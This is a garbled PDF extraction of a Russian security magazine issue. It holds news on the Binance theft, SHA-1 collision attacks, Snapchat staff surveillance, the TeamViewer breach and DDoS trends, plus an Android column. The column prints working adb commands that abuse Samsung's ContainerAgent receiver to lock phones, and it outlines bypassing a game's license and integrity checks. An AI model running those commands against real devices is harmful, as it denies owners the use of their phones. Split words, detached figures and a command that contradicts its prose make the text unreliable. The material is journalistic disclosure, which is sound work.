штаб ной  и  хорошо  спла ниро ван ной  хакер ской  ата ки.  В  резуль тате  у  бир жи
было похище но 7000 BTC (око ло 41 мил лиона дол ларов по кур су на момент
ата ки), которые зло умыш ленни ки вывели одной тран закци ей.

Сог ласно  офи циаль ному  сооб щению  Binance,  хакерам  уда лось  заполу‐ 
чить боль шое  количес тво API‐клю чей,  кодов двух фактор ной аутен тифика ции
и дру гих дан ных поль зовате лей. Для это го зло умыш ленни ки при мени ли мно‐ 
жес тво раз ных тех ник, вклю чая фишинг и зараже ние мал варью. Рас сле дова‐ 
ние слу чив шегося пока про дол жает ся, поэто му спе циалис ты бир жи не исклю‐ 
чают, что могут быть выяв лены допол нитель ные век торы атак, а так же новые
пос тра дав шие  учет ные  записи.  Инци дент  зат ронул  толь ко  горячий  BTC‐
кошелек бир жи, содер жавший ~2% от обще го объ ема бит кой нов.

Со обща ется,  что  зло умыш ленни ки  тща тель но  спла ниро вали  свою  ата ку
и пот ратили мно го вре мени на ее под готов ку, задей ство вав мно жес тво акка‐ 
унтов, никак не свя зан ных меж ду собой на пер вый взгляд. В час тнос ти, тран‐ 
закция,  с  помощью  которой  с  бир жи  вывели  средс тва,  была  под готов лена
таким обра зом,  что бы  защит ные механиз мы на  нее  не отре аги рова ли.  Ано‐ 
малию  зафик сирова ли  лишь  пос ле  вывода  крип товалю ты,  но было  уже  поз‐ 
дно, и оста новить тран закцию это не помог ло.

Из‐за  ата ки  Binance  была  вынуж дена  при оста новить  сня тие  и  вне сение
средств, а сайт экс трен но прек ратил работу для про веде ния рас сле дова ния,
и  в  это  вре мя  поль зовате ли  не  смо гут  поль зовать ся  вво дом/выводом
средств, хотя тор ги про дол жатся в штат ном режиме.

Пред ста вите ли  Binance  завери ли,  что  ата ка  никак  не  ска жет ся  на  поль‐ 
зовате лях  бир жи  и  их  акти вах:  ресурс  обе щает  пол ностью  ком пенси ровать
все потери с помощью фон да Secure Asset Fund for Users (SAFU), соз данно го
имен но для таких слу чаев. С лета 2018 года в SAFU перечис ляет ся 10% всех
бир жевых сбо ров, и эти средс тва хра нят ся на отдель ном холод ном кошель ке.

ХА КЕР ВОШЕЛ В ТРОЙ КУ САМЫХ ЖЕЛАН НЫХ ПРО ФЕС СИЙ
Ян декс про вел иссле дова ние и опре делил, кем хотят стать поль зовате ли и в каких отраслях они
пред почита ют работать.

Ста тис тика была соб рана на осно ве поис ковых зап росов со сло вами «как стать» и оце нива лась
по   — чем выше час тота зап роса, тем выше балл.100-балль ной шка ле

В 2018/19 году на пер вом мес те ока залась про фес сия   (100 бал лов), затем 
(82  бал ла)  и    (50  бал лов).  Так же  сре ди  популяр ных  зап росов  ока зались  мил лионер,
YouTube‐бло гер, модель, нотари ус и пилот.

бло гера де пута та
ха кера

АТАКИ НА SHA‐1
СТАЛИ РЕАЛЬНЕЕ
Ал горитм  хеширо вания  SHA‐1  счи тает ся  ненадеж ным  и  «сло ман ным»
еще с  2005  года:  имен но  тог да  экспер ты  загово рили о  потен циаль ной  воз‐ 
можнос ти взло ма SHA‐1 через кол лизи онную ата ку, что в теории давало зло‐ 
умыш ленни кам  воз можность  соз дать  под дель ный  файл  с  точ но  таким  же
хешем SHA‐1, как у нас тоящей вер сии фай ла.

За  про шед шее  вре мя  спе циалис ты  не раз  пытались  под сту пить ся  к  этой
проб леме  с  раз ных  сто рон,  и  нас тоящий  про рыв  совер шили  инже неры
Google  в 2017  году. Они про демонс три рова ли миру ата ку,  наз ванную SHAt‐
tered. Тог да в качес тве доказа тель ства про делан ной работы экспер ты опуб‐ 
ликова ли два PDF‐фай ла  с  оди нако вым  хешем SHA‐1,  а  так же был  запущен
отдель ный  , пос вящен ный взло му и ненадеж ности SHA‐1 в целом.сайт

Те перь  свод ная  груп па  уче ных  из  Син гапура  и  Фран ции  пред ста вила
собс твен ную  вари ацию  кол лизи онной  ата ки,  в  сущ ности  улуч шив  SHAttered
и сде лав воз можны ми ата ки с задан ным пре фик сом.

«Обна ружить  прак тичес кую  кол лизи онную  ата ку,  изме няющую  хеш,
бес спор но, пло хо. Одна ко  урон,  который может нанес ти  такая ата ка,
весь ма огра ничен, ведь зло умыш ленник прак тичес ки не кон тро лиру ет
кол лизию  дан ных.  Гораз до  инте рес нее  обна ружить  так  называ емую
ата ку с задан ным пре фик сом, где зло умыш ленник волен сам выб рать
пре фикс для двух сооб щений», — объ ясня ет один из иссле дова телей
Томас Пей рин (Thomas Peyrin).

Фак тичес ки  это  озна чает,  что  кол лизи онная  ата ка  на SHA‐1  перес тает  быть
«лотере ей»: ата ка с задан ным пре фик сом поз воля ет изме нять под писан ные
SHA‐1  фай лы  так,  как  нуж но  прес тупни ку,  начиная  от  под делки  биз‐ 
нес‐докумен тации и закан чивая сер тифика тами TLS.

Бо лее  того,  экспер ты  не  прос то  доказа ли,  что  такие  ата ки  воз можны
на прак тике,  их  сумели сде лать быс трее и дешев ле,  то есть про демонс три‐ 
рова ли, что такое под силу и кибер прес тупни кам.

Так, счи тает ся, что клас сичес кая кол лизи онная ата ка на SHA‐1 в сред нем

тре бует про веде ния 2  опе раций,  но  ата ка  с  задан ным пре фик сом дол жна
быть куда слож нее и «дороже» в исполне нии. Экспер ты доказа ли, что это не

так: новая вари ация ата ки может тре бовать от 2  до 2  вычис лений и сто ить
поряд ка 100 тысяч дол ларов США (что тоже экви вален тно SHAttered).

77

66 69

При этом иссле дова тели отме чают, что пока не про води ли ата ку на прак тике,
так  как  изна чаль ная  сто имость  кол лизи онной  ата ки  с  задан ным  пре фик сом
рав нялась при мер но мил лиону дол ларов, а таких денег у экспер тов поп росту
не было. Теперь, ког да сто имость ата ки уда лось сни зить до 100 тысяч, ана‐ 
лити ки  уже  работа ют  над  прак тичес кой  реали заци ей  сво ей  теории  и  наде‐ 
ются ско ро обна родо вать ито ги экспе римен тов.

«5 МИЛ ЛИАР ДОВ ДОЛ ЛАРОВ... НЕДОС ТАТОЧ НО»
Крис Хьюз, соос нователь Facebook, сто явший у исто ков соци аль ной сети в 2014  году наряду
с Мар ком Цукер бергом, Эду ардо Савери ном и Дас тином Мос ковицем, написал боль шую колон‐ 
ку  для  изда ния  The  New  York  Times.  В  тек сте  Хьюз  рас кри тико вал  Цукер берга  и  Facebook,
заявив, что соци аль ную сеть пора раз рушить.

→ «Пра витель ство дол жно зас тавлять Мар ка отчи тывать ся. Законо дате ли слиш ком дол го вос‐ 
хищен но  наб людали  за  взрыв ным  рос том  Facebook  и  упус тили  из  виду  свою  обя зан ность
защищать инте ресы аме рикан цев и обес печивать рын ку кон курен тные усло вия. Со дня на день
Федераль ная тор говая комис сия готовит ся оштра фовать ком панию на 5 мил лиар дов дол ларов,
но это го недос таточ но, рав но как и пред ложения Facebook о наз начении какого‐то царя по воп‐ 
росам при ват ности [речь о соз дании дол жнос ти отдель ного менед жера, ответс твен ного за сох‐ 
ранность поль зователь ских дан ных. — Прим. ред.].

Пос ле того как Марк дал показа ния в кон грес се в прош лом году, это дол жно было зас тавить
его по‐нас тояще му приз нать свои ошиб ки. Вмес то это го законо дате лей, доп рашивав ших его,
выс меяли из‐за того, что они слиш ком ста рые и не понима ют, как работа ют сов ремен ные тех‐ 
нологии.  Имен но  такое  впе чат ление  хотел  про извести  на  аме рикан цев Марк,  ведь  это  будет
озна чать, что прак тичес ки ничего не изме нит ся»
— Крис Хьюз о поведе нии Цукер берга

ШПИОНАЖ
SNAPCHAT
Жур налис ты изда ния Vice Motherboard пооб щались с нес коль кими быв шими
и  нас тоящи ми  сот рудни ками  ком пании  Snap,  вла деющей  Snapchat,  а  так же
изу чили  внут ренние  кор поратив ные  пись ма,  попав шие  в  руки  редак ции.
Как  ока залось,  ряд  депар тамен тов  внут ри  ком пании  Snap  не  толь ко  име ют
инс тру мен ты для слеж ки за поль зовате лями, но и активно поль зуют ся и даже
зло упот ребля ют ими.

По  информа ции  изда ния,  сот рудни кам  Snap  дос тупны  такие  дан ные,
как мес тополо жение,  сох ранен ные Snap’ы  и  лич ные  дан ные  поль зовате лей,
вклю чая номера телефо нов и email‐адре са. Несох ранен ные Snap’ы, как пра‐ 
вило, уда ляют ся пос ле получе ния или через 24 часа пос ле пуб ликации.

Один  из  внут ренних  инс тру мен тов  ком пании,  о  котором  ранее  извес тно
не было,  носит  имя SnapLion. Изна чаль но  он был  соз дан  для  сбо ра  дан ных
по  офи циаль ным  зап росам,  получен ным  от  пра воох ранитель ных  орга нов.
В час тнос ти, к это му инс тру мен ту име ют дос туп сот рудни ки отде ла Customer
Ops («Поль зователь ских опе раций»), а так же отде ла Spam and Abuse («Спа ма
и зло упот ребле ния»).

Жур налис ты  отме чают,  что,  сог ласно  офи циаль ным  пра вилам  Snap,
по  зап росу  влас тей могут быть  пре дос тавле ны  такие дан ные,  как  при вязан‐ 
ный  к  акка унту  номер  телефо на,  дан ные  о  мес тополо жении  поль зовате ля,
метадан ные  сооб щений  (по  которым  мож но  понять,  с  кем  и  ког да  говорил
человек), а так же в некото рых слу чаях дос тупен кон тент самых Snap’ов, к при‐ 
меру из Memories.

В ито ге, если верить внут ренним пись мам ком пании, легитим ное исполь‐ 
зование  SnapLion  сво дит ся  к  удов летво рению  зап росов  пра воох раните лей,
а  так же  к  борь бе  с  насили ем  над  деть ми. Одна ко  быв шие  сот рудни ки  ком‐ 
пании  рас ска зали  изда нию,  что  сот рудни ки  неред ко  зло упот ребля ют  эти ми
инс тру мен тами, хотя и не кон кре тизи рова ли, как имен но.

Пред ста вите ли  Snap  завери ли  Vice  Motherboard,  что  ком пания  хра нит
край не мало дан ных о  сво их  поль зовате лях,  а  любой несан кци они рован ный
дос туп к этой информа ции немед ленно пре сека ется и вле чет за собой серь‐ 
езные пос ледс твия.

МО БИЛЬ НЫЕ БАН КЕРЫ ДЕМОНС ТРИ РУЮТ РОСТ

По  ито гам    «Лабора тория  Кас пер ско го»  зафик сирова ла  зна‐ 
читель ное уве личе ние чис ла финан совых угроз, нацелен ных на мобиль ные устрой ства. Замет‐ 
ный  рост  по  срав нению  с  ана логич ным  пери одом  прош лого  года  про демонс три рова ли
как мобиль ные бан ков ские тро яны, так и тро яны‐вымога тели.

пер вого квар тала  2019  года

В общей слож ности за пер вый квар тал это го года было обна руже но око ло   вре донос ных
фай лов, клас сифици руемых как мобиль ные бан ков ские тро яны. В 2018 году их было  .

30 000
19 000

Ча ще все го в пер вые три месяца это го года поль зовате ли мобиль ных устрой ств стал кивались
с тре мя бан ков ски ми тро яна ми:    (   от всех обна ружен ных злов редов это го  типа),

 ( ) и   ( ).
Svpeng 20%

Asacub 18% Agent 15%

В отдель ные пери оды Asacub ата ковал до   уни каль ных поль зовате лей в сут ки.13 000

Что  каса ется  мобиль ных  вымога телей,  то  их  чис ло  вырос ло  еще  замет нее.  В  пер вом  квар‐ 
тале 2018 года решения «Лабора тории Кас пер ско го» обна ружи ли нем ногим менее   таких
злов редов, а в начале это го года их ста ло в три раза боль ше — поч ти  .

9000
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АТАКА НА
TEAMVIEWER
Не мец кое изда ние Der Spiegel сооб щило, что еще в 2014 году китай ские пра‐ 
витель ствен ные  хакеры  успешно  ском про мети рова ли  раз работ чиков
TeamViewer,  в  ито ге  изда нию  под твер дили  это  и  сами  пред ста вите ли  ком‐ 
пании.

Хо тя ранее об этой кибера таке не было извес тно, теперь, ког да жур налис‐ 
ты  про лили  свет  на  слу чив шееся,  раз работ чики  TeamViewer  приз нали,  что
дей стви тель но  выяви ли  про ник новение  в  свою  сеть,  но  не  в  2014  году,
а  осенью  2016  года.  В  ком пании  объ ясни ли,  что  тог да  подоз ритель ную
активность обна ружи ли вов ремя и хакеры не успе ли при чинить никако го вре‐ 
да ни самой ком пании, ни ее поль зовате лям.

Раз работ чики уве ряют, что про вели тща тель ное рас сле дова ние инци ден‐ 
та,  под клю чили  к  нему  пред ста вите лей  пра воох ранитель ных  орга нов  и  сто‐ 
рон них кибер кри мина лис тов, но не наш ли никаких приз наков хищения поль‐ 
зователь ских  дан ных  или  дру гой  цен ной  информа ции.  В  ком пании  говорят,
что не было никаких осно ваний счи тать, что исходные коды TeamViewer ском‐ 
про мети рова ны или укра дены, а поль зовате ли прог раммы могут быть в опас‐ 
ности. В ито ге было при нято решение не сооб щать широкой общес твен ности
о слу чив шемся вов се.

Жур налис ты  Der  Spiegel,  в  свою  оче редь,  утвер жда ют,  что  про ник шие
в  сеть  TeamViewer  хакеры  пус тили  в  ход  мал варь Winnti —  бэк дор,  который
как  минимум  с  2009  года  исполь зуют  хак‐груп пы  из  Под небес ной.  Но  если
изна чаль но  вре донос  исполь зовал ся  одно имен ной  груп пиров кой  Winnti,  то
поз же экспер ты ста ли замечать его на воору жении у раз личных кита его воря‐ 
щих групп. Оче вид но, хакеры делят ся мал варью друг с дру гом или же где‐то
ее  покупа ют.  В  ито ге  уста новить  источник  ата ки  на  TeamViewer  уже  вряд  ли
пред став ляет ся воз можным. Мож но лишь пред полагать, что за ата кой, веро‐ 
ятно, сто яла пра витель ствен ная хак‐груп па APT17 или APT10.

ПРОБ ЛЕМЫ СЕТИ BITCOIN
Из дание Cointelegraph, ссы лаясь на раз работ чика Люка Дашира  (Luke Dashjr),  сооб щило,  что
поч ти полови на пол ных нод в Bitcoin‐сети по‐преж нему уяз вима перед кри тичес кой проб лемой

, устра нен ной еще в прош лом году. Напом ню, что баг поз воля ет осу щес твить
двой ную тра ту UTXO в одной тран закции и коман да Bitcoin Core испра вила его с релизом кли‐ 
ента вер сии 0.16.3.

CVE‐2018‐1744

 пол ных нод до сих пор исполь зуют уяз вимые вер сии кли ентов, сог ласно ана лизу раз‐ 
работ чика.
44,3%

 по‐преж нему работа ют на ПО, уяз вимом и перед дру гими проб лемами.5,1%

  узлов  исполь зуют  пол ностью  уста рев шие  кли енты,  безопас ность  которых  под  боль шим
воп росом.
10%

Боль шинс тво откры тых источни ков говорят о сущес тво вании   пол ных нод, одна ко иссле‐ 
дова ние Дашира сви детель ству ет о том, что их реаль ное чис ло уже бли зит ся к  .
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АВИАУДАР В ОТВЕТ 
НА КИБЕРАТАКУ
В  начале  мая  на  офи циаль ных  стра ницах  Армии  обо роны Изра иля  (ЦАХАЛ)
в  соци аль ных  сетях  появи лось  сооб щение о  необыч ном отра жении  кибера‐ 
таки со сто роны ХАМАС. Пред ста вите ли ЦАХАЛ пояс нили, что сна чала отра‐ 
зили  ата ку  в  вир туаль ном  прос транс тве,  а  потом  ВВС  раз вили  этот  успех
в  прос транс тве  физичес ком.  В  соци аль ных  сетях  даже  было  опуб ликова но
видео  ави ауда ра  (отме тим,  что  о  таких  бом барди ров ках  пре дуп режда ют
заранее, что бы избе жать жертв со сто роны мир ного населе ния).

Ни каких  под робнос тей  самого  киберин циден та  Армия  обо роны  Изра иля
не рас кры вает, но утвер жда ется, что в унич тожен ном зда нии находил ся центр
киберо пера ций  ХАМАС,  в  котором  работа ли  опе ратив ники,  про водив шие
ата ку. Похоже, про изо шед шее ста нет пер вым слу чаем в исто рии, ког да стра‐ 
на в реаль ном вре мени отве тила на кибера таку ата кой обыч ной.

Тем не менее сто ит заметить,  что похожие пре цеден ты уже име ли мес то
и ранее. К при меру, в 2015 году США ста ли пер вой стра ной в мире, в прин‐ 
ципе при менив шей воен ную силу в ответ на кибера таки. Тог да аме рикан ский
бес пилот ник лик видиро вал хакера   (Junaid Hussain), граж‐ 
данина Великоб ритании, который еще в 2012 году отси дел пол года за взлом
адресной кни ги премь ер‐минис тра Великоб ритании, а затем при соеди нил ся
к зап рещен ной в РФ орга низа ции ИГИЛ. Счи талось, что имен но он воз глав‐ 
лял  хакер ское  под разде ление  под  наз вани ем  «Кибер халифат»,  на  сче ту
которо го было немало серь езных прес тупле ний, в том чис ле взлом акка унтов
Пен тагона в соци аль ных сетях.

Джу наида Хус сей на

Од нако  лик видация  Хус сей на  не  была  немед ленным  отве том  на  кибера‐ 
таку — для под готов ки к этой опе рации США понадо билось мно го месяцев.
В свою оче редь, ЦАХАЛ отре аги ровал в режиме реаль ного вре мени: в минув‐ 
шие  выход ные  обста нов ка  в  реги оне  обос три лась,  боеви ки  радикаль ного
дви жения  «Палес тин ский  ислам ский  джи хад»  и  дви жения  ХАМАС  выпус тили
по  Изра илю  более  600  ракет,  на  что  ЦАХАЛ  так же  отве тил  ракет ными  уда‐ 
рами.  Кибера така  про изош ла  парал лель но  с  этим,  пос ле  чего  упо мяну тое
зда ние в сек торе Газа, оче вид но, и попол нило спи сок целей.

DDOS НА ПОДЪ ЕМЕ
«Лабора тория  Кас пер ско го»  вновь  зафик сирова ла  всплеск  DDoS‐атак  пос ле  дол гого  спа да.
Экспер ты  счи тают,  что  прош логод нее  сни жение  показа телей  было  свя зано  с  ужес точени ем
ответс твен ности за DDoS‐ата ки, зак рыти ем нес коль ких пло щадок куп ли‐про дажи соот ветс тву‐ 
ющих услуг и арес тами некото рых круп ных игро ков.

По  дан ным  экспер тов,  в  пер вом  квар тале  2019  года  чис ло  DDoS‐атак  уве личи лось  на 
по срав нению с пос ледним квар талом 2018‐го и они ста ли гораз до более дли тель ными и слож‐ 
ными в орга низа ции.

84%

Об щее количес тво нападе ний уве личи лось на  , а чис ло дли тель ных (более 60 минут) сеан‐ 
сов DDoS повыси лось ров но  .

84%
вдвое

Ди нами ка атак в пер вом квар тале

Сред няя про дол житель ность воз росла в   раза, при чем в сег менте край не дли тель ных атак
рост  сос тавил    —  доля  таких  нападе ний  стре митель но  уве личи лась  не  толь ко  количес‐ 
твен но, но и качес твен но.

4,21
487%

Мак сималь ная  дли тель ность  ата ки  по  срав нению  с  прош лым  квар талом  сок ратилась  боль ше
чем  на  ,  одна ко  про цен тная  доля  дол гих  DDoS‐сес сий  про дол жает  рас ти  и  сос тавила

 (по срав нению с   в чет вертом квар тале 2018 года).
сут ки

21,34% 16,66%

До ля SYN‐флу да повыси лась, дос тигнув  . В свя зи с этим сни зились доли UDP‐ и TCP‐флу‐ 
да, доли же HTTP‐ и ICMP‐атак на этом фоне воз росли до   и   соот ветс твен но.

84%
3,3% 0,6%

В течение недели наибо лее опас ным с точ ки зре ния DDoS‐атак днем ста ла  , 
 по‐преж нему оста ется самым спо кой ным днем.

суб бота вос кре- 
сенье

Ли диро вать по ата кам про дол жает  . Сдав ший позиции в кон це 2018 года, он вновь укре‐ 
пил  их  в  пер вом  квар тале  2019  года:  его  доля  от  обще го  чис ла  атак  вырос ла  до  .
На  вто ром  мес те  тра дици онно  США  ( ),  на  треть ем  —  Гон конг  ( ),  под нявший ся
с седь мого мес та.

Ки тай
67,89%

17,17% 4,81%

Боль ше  все го  коман дных  сер веров  бот нетов  по‐преж нему  рас полага ются  в  США  ( ),
на вто ром мес те теперь Нидер ланды ( ), а на треть ем Рос сия ( ).

34,10%
12,72% 10,40%

ДРУ ГИЕ ИНТЕ РЕС НЫЕ СОБЫТИЯ МЕСЯЦА

Android‐вер сия бра узе ра DuckDuckGo ока залась уяз вима перед под делкой URL

Май ское обновле ние для Windows 10 несов мести мо с некото рыми сис темами AMD

GnosticPlayers  взло мал  сер вис  гра фичес кого  дизай на  Canva,  похитив  дан ные  139 мил лионов
человек

Сле дить  за  поль зовате лями  мож но  при  помощи  дан ных  о  калиб ровке  сен соров  мобиль ных
устрой ств

Tor Browser для Android вышел из беты

Дол гие годы Google хра нила пароли от G Suite нехеши рован ными

Google меня ет защищен ные клю чи Titan Security Key из‐за бага

Уяз вимость Thrangrycat поз воля ет заражать устрой ства Cisco бэк дорами

Не извес тные про дол жают пуб ликовать дан ные иран ских APT‐груп пировок

Ки тай ские  хакеры исполь зовали инс тру мен ты АНБ  задол го  до  пуб ликации дам па  The Shadow
Brokers

http://shattered.io/
https://xakep.ru/2015/08/03/kill-list/
https://xakep.ru/2019/05/29/duckduckgo-url-bug/
https://xakep.ru/2019/05/28/win10-may-update/
https://xakep.ru/2019/05/27/canva-hack/
https://xakep.ru/2019/05/23/sensorid/
https://xakep.ru/2019/05/22/tor-browser-android/
https://xakep.ru/2019/05/22/g-suite-passwords/
https://xakep.ru/2019/05/20/bluetooth-titan-key-bug/
https://xakep.ru/2019/05/16/thrangrycat/
https://xakep.ru/2019/05/13/iranian-apts/
https://xakep.ru/2019/05/08/doublepulsar-buckeye-edition/
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Се год ня  в  выпус ке:  улуч шения  безопас‐ 
ности Android Q, обновле ния Android через
Google  Play,  раз бор DoS‐экс пло ита  про тив
поч ти  всех  смар тфо нов  Samsung,  иссле‐ 
дова ние северо корей ско го кло на игры Sim
City,  прог рамми рова ние  интерфей са  при‐ 
ложе ния без XML и голов ной боли, верифи‐ 
кация  целос тнос ти  при ложе ния,  а  так же
оче ред ная  под борка  биб лиотек  для  прог‐ 
раммис тов.

ПОЧИТАТЬ

Улуч шения безопас ности Android Q
,   — две

статьи инже неров Google о сде лан ных в Android Q улуч шени ях безопас ности.
Основные момен ты:

Queue  the Hardening  Enhancements What’s  New  in  Android Q  Security

.  С  выпус ком  Android  7  Google  вве ла  тре бова ние  при нуди тель‐ 
ного вклю чения шиф рования на всех новых устрой ствах с аппа рат ной под‐ 
дер жкой  шиф рования  AES.  Теперь  бла года ря  раз работан ному  в  Google
механиз му шиф рования Adiantum это  тре бова ние рас простра няет ся и на
все осталь ные  смар тфо ны и  план шеты.  Реали зация Adiantum базиру ется
на  при мене нии  быс трой  хеш‐фун кции  NH,  алго рит ме  аутен тифика ции
сооб щений (MAC) Poly1305 и потоко вом шиф ре XChaCha12, а так же еди‐ 
нора зовой опе рации на базе блоч ного шиф ра AES‐256 для 16 байт в каж‐ 
дом бло ке. В  тес тах  на  про цес соре ARM Cortex‐A7 Adiantum показы вает
пятик ратное пре вос ходс тво в ско рос ти шиф рования над AES‐256‐XTS.

• Adiantum

.  В  Android  7  Google  вынес ла  меди асер вер,
отве чающий  за  обра бот ку  муль тимедий ных  фай лов,  в  изо лиро ван ную
песоч ницу с низ кими пра вами дос тупа. В Android 8, в рам ках про екта Tre‐
ble,  меди асер вер  был  раз делен  на  два  ком понен та,  работа ющих  в  изо‐ 
лиро ван ных  песоч ницах.  Одна ко  набор  соф твер ных  кодеков  оста вал ся
сплав лен с хар двар ными кодека ми, которые, в свою оче редь, име ли дос‐ 
туп к драй верам. Все это при води ло к тому, что баг в соф твер ном кодеке
мог  исполь зовать ся  для  получе ния  кон тро ля  над  драй вером  меди аус‐ 
корите ля, и наобо рот. В Android Q соф твер ные кодеки пере еха ли в свою
собс твен ную песоч ницу.

• Изо ляция  меди ако деков

. Начиная с Android 7 инже неры Google пос‐ 
тепен но  внед ряли  фун кции  про вер ки  гра ниц  мас сивов  и  про вер ки
на целочис ленное перепол нение с помощью ком пилято ра LLVM (фун кции
BoundSan и IntSan). В Android Q про вер ками уда лось пок рыть один надцать
меди ако деков и стек Bluetooth. По сло вам раз работ чиков, уже сущес тво‐ 
вав шие в Android 9 про вер ки поз волили ней тра лизо вать один надцать раз‐ 
личных уяз вимос тей.

• Про вер ки на перепол нение

. В Android Q про дол жили работать над внед рени ем
фун кции CFI, которая стро ит граф вызовов фун кций и завер шает про цесс
при выходе за его пре делы. CFI поз воля ет пре дот вра тить (или сущес твен‐ 
но усложнить) ата ки, осно ван ные на исполь зовании ROP (Return Oriented
Programming), ког да экс пло ит исполь зует фраг менты кода уяз вимого про‐ 
цес са для выпол нения нуж ного дей ствия (нап ример, откры тия шел ла).

• Control Flow Integrity

. В Android Q, работа ющем на плат форме с про цес‐ 
сорной  архи тек турой  AArch64,  код  всех  биб лиотек  и  бинар ных  фай лов
помечен  как  «толь ко  для  исполне ния».  Так  же  как  CFI,  это  дела ет  ата ки
с исполь зовани ем ROP более проб лематич ными, ведь ата кующе му теперь
необ ходимо  не  толь ко  получить  воз можность  передать  управле ние  нуж‐ 
ному фраг менту кода, но и най ти спо соб про читать этот фраг мент.

• eXecute-Only Memory

. Для муль тимеди ако деков Android Q теперь исполь зует
алло катор памяти Scudo, зат рудня ющий ата ки типа use‐after‐free, double‐
free и перепол нение буфера.

• Ал локатор Scudo

Прог ресс изо ляции меди ако деков: от Android M до Q

Мо дуль ные обновле ния Android
 — под робнос ти про екта Mainline,

поз воля юще го  обновлять  отдель ные  сис темные  ком понен ты  Android
без обновле ния плат формы целиком.

Fresher OS with Projects Treble and Mainline

Об новле ния  будут  рас простра нять ся  в  спе циаль ном  фор мате  пакетов
APEX,  который  вмес то  при ложе ния  содер жит  в  себе  опре делен ный  ком‐ 
понент  сис темы.  В  дан ный  момент  таким  ком понен том  может  быть:  муль‐ 
тимедий ный  кодек,  муль тимедий ный  фрей мворк,  DNS‐резол вер,  Conscrypt
Java Security Provider, Documents UI, Permission Controller, ExtServices, дан ные
часовых  поясов,  ANGLE  (прос лой ка  для  тран сля ции  вызовов  OpenGL  ES
в OpenGL, Direct3D 9/11, Desktop GL и Vulkan), Module Metadata, сетевые ком‐ 
понен ты, Captive Portal Login и нас трой ки сетево го дос тупа.

Ес ли  один  из  этих  ком понен тов  пот ребу ет  обновле ния  или  в  нем  будет
най дена уяз вимость, Google смо жет опе ратив но выкатить фикс в Google Play,
и его получат сра зу все поль зовате ли Android Q и выше.

Со дер жимое пакета APEX

Ин терес но,  что  APEX  не  про изво дит  обновле ние  «на  живую»,  ког да  ста рый
ком понент  заменя ется  на  новый.  Раз дел    в  Android  недос тупен
для  записи,  поэто му  APEX  исполь зует  трюк  с  мон тирова нием.  Все  фай лы
внут ри пакета APEX находят ся в обра зе фай ловой сис темы ext4. Ког да про‐ 
исхо дит  «уста нов ка»  пакета,  сис тема мон тиру ет  этот  образ  поверх  раз дела 

  в  режиме  bind.  В  резуль тате  фай лы  пакета  как  бы  заменя ют  ори‐ 
гиналь ные фай лы  Android,  хотя  в  реаль нос ти  все  оста ется  на  сво их мес тах.
Точ но такой же трюк исполь зует Magisk для уста нов ки модифи каций Android
без изме нения раз дела  .

/system

/system

/system

Как «окир пичить» любой смар тфон Samsung
  —  статья  извес тно го  спе циалис та  по  IT‐

безопас ности  Элли ота  Алдерсо на  (Elliot  Alderson)  о  баге  смар тфо нов  Sam‐
sung, поз воля ющем сто рон нему раз работ чику залочить смар тфон так, что им
невоз можно будет поль зовать ся.

How  to  brick  all  Samsung  phones

Проб лема  зак люча ется  в  при ложе нии  ContainerAgent,  которое  име ет
ресивер  ,  при нима ющий  сре ди  про чих  интент

.

SwitcherBroadcastReceiver
com.samsung.android.knox.containeragent.LocalCommandReceiver.AC‐
TION_COMMAND

Объ явле ние ресиве ра в манифес те

Де ком пилиро вав код ресиве ра, мож но выяс нить, что при обра бот ке интента
про веря ются  зна чения 

  и 
. Если передать в пер вом 1001, а во вто ром 150 (иден тифика тор

поль зовате ля  Knox  User,  который  отве чает  за  защищен ное  хра нили ще  дан‐ 
ных), кон тей нер будет немед ленно зак рыт:

com.samsung.android.knox.containeragent.Lo‐
calCommandReceiver.EXTRA_COMMAND_ID android.intent.extra.
user_handle

$ adb shell am broadcast ‐a com.samsung.android.knox.containeragent.
LocalCommandReceiver.ACTION_COMMAND ‐‐ei "com.samsung.android.knox.
containeragent.LocalCommandReceiver.EXTRA_COMMAND_ID" 1001 ‐‐ei 
"android.intent.extra.user_handle" 150

Ес ли же передать 1001 и 0, про изой дет немед ленный переход на домаш ний
экран:

$ adb shell am broadcast ‐a com.samsung.android.knox.containeragent.
LocalCommandReceiver.ACTION_COMMAND ‐‐ei "com.samsung.android.knox.
containeragent.LocalCommandReceiver.EXTRA_COMMAND_ID" 1002 ‐‐ei 
"android.intent.extra.user_handle" 0

Что бы  показать,  как  это  мож но  исполь зовать,  Элли от  соз дал  ,
которое  каж дую секун ду отправ ляет два этих интента и  таким обра зом бло‐ 
киру ет любые попыт ки исполь зовать смар тфон. Поль зователь пос тоян но воз‐ 
вра щает ся  на  домаш ний  экран,  а  его  защищен ная  пап ка,  которую Samsung
при зыва ет  исполь зовать  для  хра нения  дей стви тель но  важ ных  дан ных,  пос‐ 
тоян но бло киру ется.

при ложе ние

Ис сле дова ние северо корей ско го Sim City
 — статья о  северо корей‐ 

ском  кло не  игры  Sim  City,  в  котором  внут рииг ровые  покуп ки  совер шают ся
в офлай не. Инте рес ные момен ты:

Reverse Engineering  a North Korean Sim City Game

В Север ной Корее нет онлай новых магази нов при ложе ний,  но есть мно‐ 
жес тво офлай новых. Покупа тель при ходит в магазин со сво им телефо ном,
выбира ет при ложе ние или игру, пла тит за нее (в слу чае с дан ной игрой —
менее  одно го  дол лара),  затем  отда ет  телефон  про дав цу,  и  тот  залива ет
при ложе ние  на  телефон  (иног да  толь ко  с  десятой  попыт ки).  При мер но
таким  же  обра зом  совер шают ся  внут рииг ровые  покуп ки  (лут,  игро вая
валюта, пер сонажи и про чее).

•

Куп ленная  игра  City  Management  ока залась  не  внут ренней  раз работ кой,
а все го лишь кло ном китай ской вер сии игры City  Island 2, раз работан ной
в Нидер ландах.

•

Сра зу пос ле запус ка игра выводит на экран чис ловой код, который необ‐ 
ходимо  пре дос тавить  про дав цу  при ложе ния,  что бы  получить  лицен зион‐ 
ный  ключ.  Механизм  свер ки  клю чей  исполь зует  реали зацию  алго рит ма
RSA двад цатилет ней дав ности ( ).

•

RSAREF
Обой ти защиту очень прос то: дос таточ но модифи циро вать фун кцию про‐ 
вер ки лицен зии так, что бы она всег да воз вра щала положи тель ный резуль‐ 
тат,  и перепа ковать при ложе ние. Одна ко в  этом слу чае игра завер шится
с  ошиб кой,  потому  что  в  коде  есть  про вер ка  на  целос тность  биб лиотек,
исполь зуемых для про вер ки лицен зии. К счастью, обра щение к этой фун‐ 
кции мож но прос то уда лить из кода.

•

Код  про вер ки  лицен зии  и  целос тнос ти  фай лов  рас полага ется  внут ри
«безобид ных»  фун кций,  внут ри  самого  движ ка  игры,  поэто му  най ти  их,
